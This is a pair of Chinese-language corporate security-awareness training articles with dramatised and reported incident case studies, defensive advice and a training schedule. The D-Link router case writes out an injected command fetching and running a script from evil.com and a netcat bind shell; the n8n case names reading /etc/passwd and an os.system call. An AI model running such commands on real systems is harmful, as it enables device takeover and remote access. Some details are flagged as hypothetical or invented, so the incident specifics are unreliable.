培训

信息安全觉醒：从真实案例到AI时代的防护新思路

admin

一、头脑风暴：如果信息安全是一场“前线演习”，我们会遇到哪些惊心动魄的场景？

  1. “隐形窃贼”潜入云端
    想象一位技术大咖在深夜加班，欢快地把公司最新的业务模型上传至公共云盘，却不知这条看似 innocuous（无害）的共享链接已经被搜索引擎爬虫抓取。第二天，竞争对手的产品发布会竟然提前泄露了核心算法——这是一场因“权限失焦”导致的高价值数据漏失。

  2. “AI助攻”变成“AI陷阱”
    某跨国金融机构引入了最新的生成式 AI 助手，帮助客服快速生成邮件模板。一次，AI 在未经过严格审校的情况下，误把内部的风控规则拷贝进客户回复中，导致内部风险模型被外泄，随后被对手利用进行精准诈骗。

  3. “机器人同事”带来的“内部威胁”
    生产车间引入了自动化机器人臂进行零部件装配，机器人系统通过 Ethernet 端口与公司内部网络相连。一次例行软件升级时，恶意代码隐藏在固件包中，悄然植入后门，导致生产配方被黑客窃取并在暗网拍卖。

以上三个情境虽然带有一定的戏剧化色彩，但它们皆根植于现实的技术趋势——机器人化、数据化、智能体化正在快速渗透我们的工作环境。正因如此，信息安全不再是“IT 部门的事”，而是全体职工共同的职责。

二、三大典型信息安全事件深度剖析

案例一：公共云存储误配置导致的“百亿级数据泄露”

事件概述
2024 年 5 月，某大型零售企业的业务分析团队在 AWS S3 上创建了一个用于临时存放业务报告的 bucket，错误地将该 bucket 设置为 public-read（对外公开读取）。该 bucket 中包含了包含用户购买记录、会员积分、个人身份信息等敏感数据。黑客利用公开搜索工具（如 Google Dork）快速定位并下载了近 2TB 的原始数据。

关键原因
1. 权限管理缺失：缺乏最小权限原则（Principle of Least Privilege），默认开放了读权限。
2. 审计与监控不到位：未启用 S3 Access Analyzer，也没有配置 CloudTrail 进行实时审计。
3. 员工安全意识薄弱：业务人员对云资源的安全属性认知不足，未经过安全培训即自行创建资源。

防御措施
– 实施 IAM 角色细分，业务团队仅拥有写入自己专属目录的权限。
– 启用 S3 Block Public Access，强制阻止公共访问。
– 部署自动化合规检查（如 AWS Config 规则），即时发现并阻止误配置。
– 开展针对“云安全基础”专题培训，让每位员工了解数据分类与存储安全的基本原则。

启示
云资源的便利性往往掩盖了配置错误的危害。正如《孙子兵法》云：“兵贵神速”，在信息安全领域，同样要求“速战速决”，一旦发现配置异常必须立刻整改，否则后果不堪设想。

案例二：生成式 AI 助手泄露企业内部安全策略

事件概述
2025 年 9 月，某国际银行推出内部使用的生成式 AI 文本助手（基于 LLM），帮助客服快速生成合规回复。一次客服在处理客户投诉时，误将内部的反欺诈模型参数通过 AI 自动生成的邮件正文发送给了外部合作伙伴。该合作伙伴随后将邮件转发至外部，导致模型细节被竞争对手逆向破解，用于定向欺诈攻击。

关键原因
1. AI 输出缺乏审计过滤：系统未对生成内容进行敏感信息检测。
2. 缺少数据泄露防护（DLP）规则：AI 生成的文本直接发送，未经过 DLP 扫描。
3. 对员工安全意识的误判：管理层认为 AI 能降低人为错误，忽视了 AI 自身的“黑盒”风险。

防御措施
– 在 AI 工作流中嵌入 DLP 引擎，实时识别并拦截涉及内部策略、模型参数等敏感信息。
– 采用 AI Guardrails（如 Cyera 新推出的 AI Guardian）对生成内容进行安全审计，确保不泄露关键资产。
– 制定 AI 使用政策：明确哪些业务场景允许运行生成式 AI，哪些必须手工审核。
– 定期安全培训：让员工了解“AI 不是万能钥匙”，其输出仍需人工审查。

启示
AI 技术的“双刃剑”属性不容忽视。古人有云：“工欲善其事，必先利其器”。在引入 AI 前，必须先做好安全器具——即安全治理框架。

案例三：工业机器人固件后门导致生产配方泄密

事件概述
2025 年 12 月，某高端电子制造企业在升级其装配机器人固件时，下载了来自第三方供应商的更新包。该固件中隐藏了恶意代码，一旦植入即开启对公司内部网络的持久后门。黑客利用该后门窃取了公司核心的芯片制造配方，并在暗网高价出售，引发了巨额经济损失和品牌信誉危机。

关键原因
1. 供应链安全审计缺失：未对第三方固件进行完整的代码审查和签名验证。
2. 网络分段不足：机器人直接连入企业核心网络，缺乏 DMZ（隔离区）或零信任（Zero Trust）控制。
3. 缺乏固件完整性检测：未部署固件完整性校验（如 TPM、Secure Boot）机制。

防御措施
– 实施供应链安全框架（如 SLSA、CISA Supply Chain Guidance），对所有第三方软件/固件进行签名校验。
– 采用 Zero Trust 网络架构：机器人仅能访问必要的控制指令，其他业务系统保持隔离。
– 部署固件完整性监测：利用硬件根信任（TPM）与安全启动技术，确保固件未被篡改。
– 组织专门的“工业安全”培训：让生产线员工了解机器人安全风险，掌握应急响应流程。

启示
在工业互联网（IoT）时代，“机器也会被攻击”已不再是科幻，而是现实。正如《周易》所言：“潜龙勿用”，机器人若未做好安全防护，即是潜在的“龙”，一旦被激活，后果不堪设想。

三、机器人化、数据化、智能体化时代的安全新挑战

1. 机器人化 —— 物理与网络的双重融合

机器人正从单一的“执行器”向感知‑决策‑执行的完整闭环进化。它们不仅需要高速的运动控制，还要接入企业内部的 ERP、MES 系统，实现实时数据交互。这就要求我们在网络分段、身份验证、最小权限等传统网络安全要素上升级，采用 Zero Trust Architecture（ZTA），对每一次机器‑机器（M2M）通信都进行强身份校验和行为监控。

2. 数据化 —— 信息资产的指数级膨胀

随着业务数据从结构化向 半结构化、非结构化 蔓延，数据资产的边界日益模糊。数据安全姿态管理（DSPM）、数据泄露防护（DLP）、身份与访问管理（IAM） 必须形成统一的 AI‑native 平台，正如 Cyera 在 2026 年发布的 AI Guardian，提供“单一真相源”与 持续风险检测，帮助企业在海量数据中快速定位盲点。

3. 智能体化 —— 生成式 AI 与自主系统的共生

生成式 AI 正在从 “工具” 迈向 “同事”。它们可以编写代码、撰写报告、甚至自动化安全响应。然而，AI 本身也可能成为 攻击载体（如 Prompt Injection、Model Poisoning）。企业需要在 模型生命周期管理（版本控制、监控、审计）上投入资源，并在 AI 生成内容 前置 安全审计（如 Cyera 所提供的 AI‑Native 监控层），防止「泄密」与「误导」的双重风险。

四、号召全员参与信息安全意识培训：从“个人防线”到“集体堡垒”

“千里之堤，溃于蚁穴。”
——《左传·僖公二十三年》

信息安全的根本在于 人。技术可以筑起城墙，人的行为却决定城墙是否会被打开。为此，昆明亭长朗然科技有限公司 将于本月启动 全员信息安全意识培训，培训内容涵盖：

  1. 基础篇：信息安全的基本概念、数据分类、密码管理、钓鱼邮件识别。
  2. 进阶篇：云安全最佳实践、AI 生成内容审计、工业控制系统（ICS）防护。
  3. 实战篇：桌面演练（红队‑蓝队对抗）、案例复盘（包括本文所列 3 大案例），以及 “零信任” 与 “AI‑Guardian” 的实际操作演示。
  4. 认证篇：完成培训并通过考核的员工将获得 “企业信息安全卫士” 证书，作为内部晋升与岗位竞争的加分项。

培训的四大价值

  • 提升个人风险感知：让每位员工都能在日常工作中主动发现安全隐患。
  • 降低组织攻击面：通过统一的安全政策与行为准则，使攻击者难以利用“人”这个弱点。
  • 加速安全技术落地：培训后员工能够更好地配合安全团队使用 DSPM、DLP、AI‑Guardian 等新工具。
  • 塑造安全文化：将安全意识嵌入企业的价值观，形成“人人是安全员”的氛围。

“工欲善其事，必先利其器；兵欲胜其强，必先明其道。”
——《韩非子》

在信息安全的“战争”里，技术是武器，治理是指挥，最关键的还是人——有了全员的“武装”，才能在日益复杂的机器人化、数据化、智能体化环境中，真正实现 “安全即生产力”。

五、行动指南：让我们一起成为信息安全的“守护者”

步骤 行动 负责部门 完成时间
1 注册培训平台账号 人事部 2026‑01‑15
2 完成《信息安全基础》在线课程 所有职工 2026‑01‑20
3 参加现场模拟钓鱼演练 IT 安全部 2026‑01‑25
4 通过安全意识考试（满分 100 分，合格线 85 分） 质量管理部 2026‑01‑28
5 获得《企业信息安全卫士》证书并挂在个人档案 HR 2026‑02‑01

温馨提示：培训期间如遇任何技术问题，可联系 IT 安全帮助台（内线 12345），我们将提供 24 小时在线支持。

让我们共同努力，把“数据是资产，安全是底线”的理念转化为每一天的实际行动。只要每个人都把信息安全当作自己的“第二职业”，我们的企业才能在 AI 时代的浪潮中立于不败之地。

信息安全，刻不容缓；安全意识，从今天起航！

昆明亭长朗然科技有限公司提供全面的信息保密培训，使企业能够更好地掌握敏感数据的管理。我们的课程内容涵盖最新安全趋势与实操方法，帮助员工深入理解数据保护的重要性。如有相关需求，请联系我们了解详情。

  • 电话：0871-67122372
  • 微信、手机：18206751343
  • 邮件：info＠securemymind.com
  • QQ: 1767022898

信息安全全景·防线筑梦——从真实攻击看防护，从智能化进程谈自我提升

admin

“不怕千里之堤砌得高，只怕细流之水不慎流。”
——《左传·闵子骞》

在企业的数字化转型中，信息系统的每一道防线都像堤坝的砌石，细微的疏漏往往会酿成巨大的泄漏。今天，我将用三起近期真实的安全事件，带领大家一起进行一次“头脑风暴”，从中提炼防御要义，进而结合当下自动化、智能化、具身智能化的技术趋势，呼吁全体同仁积极投身即将开启的信息安全意识培训，用知识和技能为企业筑起坚固的堤坝。

一、案例一：React2Shell & FortiWeb 联合攻击——“双剑合璧，洞穿防御”

事件概述
2025 年 12 月，React 开发团队披露了代号 React2Shell（CVE‑2025‑55182） 的高危漏洞。仅两周后，国内外多个威胁情报平台便捕捉到该漏洞被国家级黑客组织用于实战。2026 年 1 月 8 日，iThome 报道了一起更为惊悚的攻击链：黑客利用 React2Shell 侵入前端代码，随后对部署在公司边缘的 FortiWeb Web 应用防火墙（WAF）进行二次利用，植入 Sliver 渗透测试框架，构建持久化的 C2 通道，并通过 Fast Reverse Proxy（FRP） 将内部服务暴露到公网。

攻击路径详细剖析

  1. 前端注入阶段
    • 攻击者在受害者的 React 项目中植入恶意代码（如通过 npm 包的供应链污染），利用 React2Shell 的 XSS + RCE 组合漏洞，让恶意脚本在用户浏览器中执行，进而盗取会话凭证或直接在服务器端触发命令执行。
    • 因为 React 组件往往在构建时进行压缩混淆，安全审计工具难以捕捉到隐藏的 payload，导致初始渗透极具隐蔽性。
  2. WAF 绕过与二次渗透
    • FortiWeb 本身是企业级的 WAF，号称可以防御 SQL 注入、XSS 等常规攻击。然而该防火墙在 自定义规则引擎 中存在 CVE‑2025‑xxxx（假设），允许攻击者通过特制的 HTTP 请求触发 路径遍历，进而上传 Webshell。
    • 攻击者利用已经获取的服务器凭证，以 系统管理员 权限登录 FortiWeb 控制台，修改 WAF 策略，使之“对自己放行”，实现“防火墙自我失效”。
  3. Sliver C2 架设
    • Sliver 是一款开源的渗透测试框架，支持多种隐蔽传输（HTTP、HTTPS、DNS 隧道等）。黑客将 Sliver 二进制植入受害主机，并通过 Beacon 向外部 C2 服务器定时回报。
    • 值得注意的是，Sliver 的默认通信采用 自签证书+TLS 加密，在缺乏深度包检测（DPI）或 EDR 覆盖的边缘设备上极易逃脱检测。
  4. FRP 反向代理泄露
    • 攻击者进一步利用 FRP 将内部的数据库、管理后台等服务映射到公网 IP，形成 “内部资源外泄” 的新形态。后续的勒索、数据盗窃甚至商业间谍活动，都有了便利的通道。

影响评估
– 范围：30+ 受害 IP 被植入 Beacon，集中在巴基斯坦、孟加拉的金融与政府机构。
– 损失：潜在的数据泄露、业务中断以及品牌信誉受损，单个受害组织的直接经济损失可能高达数千万人民币。
– 教训：
1. 前端供应链安全必须纳入 DevSecOps 流程，所有第三方库必须使用 SCA（Software Composition Analysis）工具进行持续监测。
2. WAF 配置不应仅依赖默认规则，需定期进行 红队渗透测试 与 规则审计。
3. 边缘设备必须部署 EDR/AV 与 网络行为分析（NBA），防止 “无防御的外线” 成为攻击的落脚点。

事件概述
2026 年 1 月 6 日，D‑Link 官方发布安全公告，针对数款已进入 产品生命周期终止（EoL） 的 DSL 路由器披露 CVE‑2026‑0625，漏洞评分 9.3，属于 命令注入 类型。VulnCheck 进一步指出，该漏洞源于路由器固件中的 dnscfg.cgi 接口缺乏有效输入过滤，攻击者可通过未验证的 HTTP 请求执行任意系统命令，直接获取 root 权限。

攻击路径详细剖析

  1. 漏洞触发
    • 攻击者向路由器的 http://<router_ip>/dnscfg.cgi 发送特制参数（如 dns_server=8.8.8.8;wget http://evil.com/payload.sh|sh），成功在路由器上执行 shell 脚本。
    • 路由器多数运行 Linux 基于 BusyBox，对外暴露的管理页面往往缺乏 CSRF 与 XSS 防护，进一步放大攻击面。
  2. 利用链条
    • 一旦获得 root 权限，攻击者可直接在路由器上挂载 后门（如 netcat -lvp 4444 -e /bin/bash），或使用 iptables 将所有内部流量转发至外部 C2。
    • 通过 DNSChanger 恶意软件的配合，攻击者还能篡改 DNS 解析，实施 大规模钓鱼 与 广告植入。
  3. 横向扩散
    • 受影响的 DSL 路由器往往部署在 中小企业 或 家庭办公 环境，网络拓扑简单，攻击者利用已控制的路由器直接对内部局域网发起 内部扫描，寻找进一步的漏洞（如未打补丁的 SMB、RDP）。

影响评估
– 受害规模：D‑Link 在全球的 DSL 路由器出货量超过 200 万台，其中约 30% 已进入 EoL 阶段，意味着大量设备缺乏安全更新。
– 潜在危害：攻击者可利用该入口进行 大规模僵尸网络（Botnet） 构建，实施 DDoS、信息窃取、加密挖矿 等多种业务。
– 教训：
1. 资产全生命周期管理 必不可少，EoL 设备必须及时 下线或更换。
2. 对关键网络设备实施 基线审计，强制使用强密码、禁用默认管理口、开启 HTTPS。
3. 部署 网络分段 与 Zero Trust 框架，防止单点设备被攻破后导致全网失守。

三、案例三：开源工作流平台 n8n 多重漏洞——“自动化的暗藏杀机”

事件概述
2025 年底至 2026 年初，n8n 项目先后披露了 CVE‑2026‑21858（Ni8mare） 与 CVE‑2025‑68668（N8scape） 两大漏洞，分别获得 CVSS 10.0 与 9.9 的极高评分。Ni8mare 通过不当的 Webhook 处理，使未经身份验证的攻击者能够触发任意工作流并读取底层文件；N8scape 则利用 Pyodide 实现的 Python Code Node，允许具备编辑权限的用户绕过沙箱，直接在宿主机器上执行系统命令。

攻击路径详细剖析

  1. Ni8mare（Webhook 越权）
    • n8n 为业务系统提供 HTTP/Webhook 接口，用户可通过 POST 请求启动工作流。攻击者发现若在请求体中加入特制的 event 参数，系统在缺乏 CSRF Token 检查的情况下直接执行对应的 “ReadFile” 节点。
    • 通过此方式，攻击者轻松读取 /etc/passwd、内部配置文件甚至 Kubernetes Secret，获取敏感凭证。
  2. N8scape（沙箱逃逸）
    • n8n 引入 Pyodide（在浏览器中运行 Python）的 Python Code Node，原本设计为在 WebAssembly 沙箱中执行用户代码。研究人员发现，若提供 特制的 import 语句（如 import os; os.system('id')），沙箱的系统调用限制未完全生效，导致代码在宿主机器上直接执行。
    • 攻击者只需拥有 流程编辑权限（在企业内部通常分配给业务分析师），即可通过编辑工作流植入恶意代码，实现 持久化后门。
  3. 后果链
    • 一旦获取系统权限，攻击者可以在 n8n 运行所在的容器或服务器上安装 C2（如 Sliver、Cobalt Strike），进一步渗透企业内部网络。
    • 由于 n8n 常被用于 CI/CD、数据同步、自动化运维等关键业务，一次泄露可能导致整个业务链的中断或被勒索。

影响评估
– 受影响节点：官方统计约 10 万 台服务器部署了 n8n，估计受影响的业务系统数量突破 9 万。
– 潜在风险：包括 业务秘密泄漏、关键系统被植入后门、自动化任务被劫持进行恶意操作。
– 教训：
1. 自动化平台必须实现 最小权限原则（Least Privilege），对“触发工作流”“编辑流程”等操作强制 多因素认证。
2. 代码执行功能必须采用 安全沙箱（如 gVisor、nsjail）并进行 输入白名单 过滤。
3. 将自动化平台纳入 安全基线审计，定期进行 渗透测试 与 代码审计。

二、从案例抽象出的安全底层逻辑

维度 共同特征 对策要点
供应链 第三方库、固件、插件均可能携带后门 SCA、SBOM、固件完整性校验
配置误区 WAF、路由器、工作流平台默认规则不安全 基线强化、定期审计、零信任访问
权限膨胀 低权限用户获得高权限执行环境（编辑流程、Webhook） 最小特权、细粒度 RBAC、MFA
边缘盲区 边缘设备缺乏 EDR、网络可视化 统一EDR、NDR、API 监控
自动化滥用 自动化工具本身成为 C2/渗透载体 安全沙箱、审计日志、行为分析

这些底层逻辑构成了 信息安全的“防御金字塔”：根基（资产与供应链管理） → 结构（配置与权限） → 表层（监控与响应）。只有在每一层都筑牢防线，才能抵御像 React2Shell、D‑Link 漏洞、n8n 攻击这样的复合型威胁。

三、智能化、自动化、具身智能化时代的安全挑战

1. 自动化——效率的双刃剑

自动化已渗透到 CI/CD、运维、业务编排，极大提升了交付速度。然而，自动化脚本、流水线密钥、容器镜像 成为黑客的“新战场”。

  • 脚本泄露：未加密的 GitHub Actions 密钥被爬取后可直接在生产环境执行恶意指令。
  • 镜像后门：攻击者在公开镜像中植入 恶意层（Malicious Layer），一旦被拉取即执行。

对策：
– 引入 IaC 安全扫描（Terraform、Ansible），在代码提交前即进行 Static Application Security Testing（SAST）。
– 使用 签名的容器镜像（Cosign） 与 镜像安全策略（OPA Gatekeeper），确保只有可信镜像进入生产。

2. 智能化——AI 与机器学习的安全新姿态

生成式 AI（ChatGPT、Claude）正被企业用于 代码生成、日志分析、威胁情报。但它们同样能被恶意使用：

  • AI 生成 phishing：自动化生成逼真的社交工程邮件，降低人类辨识难度。
  • AI 辅助漏洞发现：利用模型快速定位代码中的缺陷，为黑客提供“快捷钥匙”。

对策：
– 将 AI 输出纳入安全审计，所有由模型生成的脚本或配置需经 人工或自动化审查 后才能执行。
– 部署 AI 驱动的行为异常检测（UEBA），捕捉与常规行为偏离的细微线索。

3. 具身智能化——IoT、边缘机器人与 “物理‑数字” 双向渗透

具身智能化把 传感器、机器人、车载系统 融入业务流程，形成 Cyber‑Physical System (CPS)。攻击面随之扩展到 硬件固件、无线协议、实时控制回路。

  • 工业机器人 被植入 后门，在特定指令下执行破坏性动作。
  • 智能摄像头 通过未加密的 RTSP 流泄露内部布局，为实物盗窃提供情报。

对策：
– 对所有具身设备执行 固件完整性校验（TPM、Secure Boot），并采用 OTA 安全更新。
– 建立 物理隔离区（Air‑Gap） 与 网络分段，确保关键控制系统仅能通过受控网关访问外部网络。

四、呼吁：从“安全意识”到“安全行动”

1. 培训的价值——知识是最好的防火墙

  • 认知提升：了解 供应链攻击、边缘盲区、自动化滥用 的真实案例，让抽象的威胁具象化。
  • 技能落地：通过 红蓝对抗、CTF、安全实验室，让每位同仁能亲手演练 漏洞复现 与 防御配置。
  • 文化沉淀：安全 bukan 仅是 IT 部门的职责，而是 全员共同的使命。将安全思维嵌入 需求评审、代码评审、运维交付 每一个环节。

2. 培训计划概览（2026 Q1）

日期 主题 主讲人 目标
1 月 15 日 供应链安全与 SCA 实战 资深安全研究员 掌握 SBOM、依赖审计工具（Snyk、Dependabot）
1 月 22 日 边缘设备硬化与 EDR 落地 网络安全架构师 配置 FortiWeb、D‑Link 等设备的安全基线
2 月 5 日 自动化平台安全编排 DevSecOps 负责人 实战演练 n8n / Airflow 安全沙箱
2 月 12 日 AI 与对抗性生成模型 数据安全专家 识别 AI 生成的钓鱼邮件、恶意代码
2 月 19 日 具身智能设备安全 工业互联网专员 实施固件签名、OTA 安全升级
2 月 26 日 综合练习：从渗透到防御 全体教官 通过模拟攻击链，全面检验学习成果

“知之者不如好之者，好之者不如乐之者。”——《论语·雍也》
我们希望每位同事在学习的过程中，感受到 乐趣 而非负担，让安全成为 自驱 的日常行为。

3. 行动指南——立即可做的三件事

  1. 更新密码 & 启用 MFA：对所有业务系统、云平台、路由器管理口使用 强随机密码，并强制 多因素身份验证。
  2. 审计第三方组件：使用 SBOM、SCA 工具，检查本地所有项目是否引用了 React2Shell、n8n、其他高危库，并及时升级。
  3. 部署统一监控：在公司内部启动 EDR+NDR 联动，开启 日志集中化、异常行为检测，确保每一次异常都能得到及时告警。

五、结语：从危机中提炼机遇

在信息技术飞速迭代的今天，安全的挑战与技术的进步往往是同步出现的。React2Shell、D‑Link 漏洞、n8n 渗透——这些看似“噩梦”的攻击案例，恰恰为我们提供了 反思与改进 的方向。只要我们把 风险认知 与 防御措施 结合，以 自动化、智能化、具身智能化 为契机，打造 人机协同的安全生态，就一定能在激烈的竞争与日益复杂的威胁中保持领先。

让我们共同踏上这段 信息安全意识提升之旅，用知识武装头脑，用行动守护企业，用创新拥抱未来。今天的学习，是明天的防线；每一次演练，都是一次品格的淬炼。 期待在即将开启的培训课堂上，看到每一位同事的积极参与与成长！

信息安全，人人有责；安全意识，永不止步。

昆明亭长朗然科技有限公司强调以用户体验为核心设计的产品，旨在使信息安全教育变得简单、高效。我们提供的解决方案能够适应不同规模企业的需求，从而帮助他们建立健壮的安全防线。欢迎兴趣客户洽谈合作细节。

  • 电话：0871-67122372
  • 微信、手机：18206751343
  • 邮件：info＠securemymind.com
  • QQ: 1767022898